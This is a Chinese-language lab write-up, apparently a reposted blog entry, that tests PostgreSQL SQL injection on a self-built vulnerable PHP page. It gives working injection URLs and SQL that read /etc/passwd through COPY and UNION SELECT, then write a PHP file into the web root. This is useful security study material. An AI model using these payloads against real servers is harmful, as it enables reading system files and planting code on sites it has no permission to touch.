一直以来PostgreSQL的数据库遇到得很少对于一些在注入中对文件操作的知识比较单薄于是就自己搭建了一个环境来测试一下。操作系统用的是CenOS 7.1WEB服务器用的是Nginx 1.9 + PHP 5.6来搭建,数据库则是最新的PostgreSQL 9.4。搭建好整个环境之后自己构造了一个典型的注入漏洞代码来对PostgreSQL的文件读写进行学习,下面是测试代码。

1.png

既然注入已经构造了,就直奔主题,如何才能对文件进行读写。在网上查阅了一番,据说有很多函数可以列出目录还有读写文件的,但是被限制了只能在某个文件夹下,所以那些对文件以及目录操作的函数就成了鸡肋。找到比较靠谱的方法就是类似MySQL的文件读写,首先新建一个输出表,然后把文件写入输出表,最后再读取输出表,这样的方式对文件进行读写。读取文件的代码如下:

CREATE TABLE input_file(content TEXT);

COPY input_file FROM ‘/etc/passwd’;

SELECT * FROM input_file;

执行的结果如下:

2.png

 

说明此方法可行,那么在注入的时候如何利用?下面是利用过程。

1http://192.168.80.2:8080/postgresql.php?id=1 出来的是正常的页面,为了更清晰的了解整个读写文件的过程特意输出了SQL语句。

3.png

 

 

2http://192.168.80.2:8080/postgresql.php?id=1;CREATE TABLE input_file(content TEXT);COPY input_file FROM ‘/etc/passwd’; 创建一个表,然后把文件写入表。

4.png

 

3http://192.168.80.2:8080/postgresql.php?id=1 and 1=2 union select null,null,content from input_file limit 1 offset 18  利用limit来遍历每一行数据。

5.png

 

写入文件与读取文件一样与MySQL很相似,只要知道WEB目录还有写的权限那么就可以写入文件,在Terminal中测试执行。

6.png

 

 

下面是示例:

http://192.168.80.2:8080/postgresql.php?id=1;CREATE TABLE output_file(content text not null);

INSERT INTO output_file VALUES (‘<?php phpinfo();?>’);COPY output_file(content) TO ‘/usr/local/nginx-1.9.3/html/test.php’–

7.png

 

执行成功之后访问一下导出的文件,看看是否真的成功。

8.png

 

文件已经成功写入。

转载自:http://www.aptno1.com/YC/398.html#jtss-cqq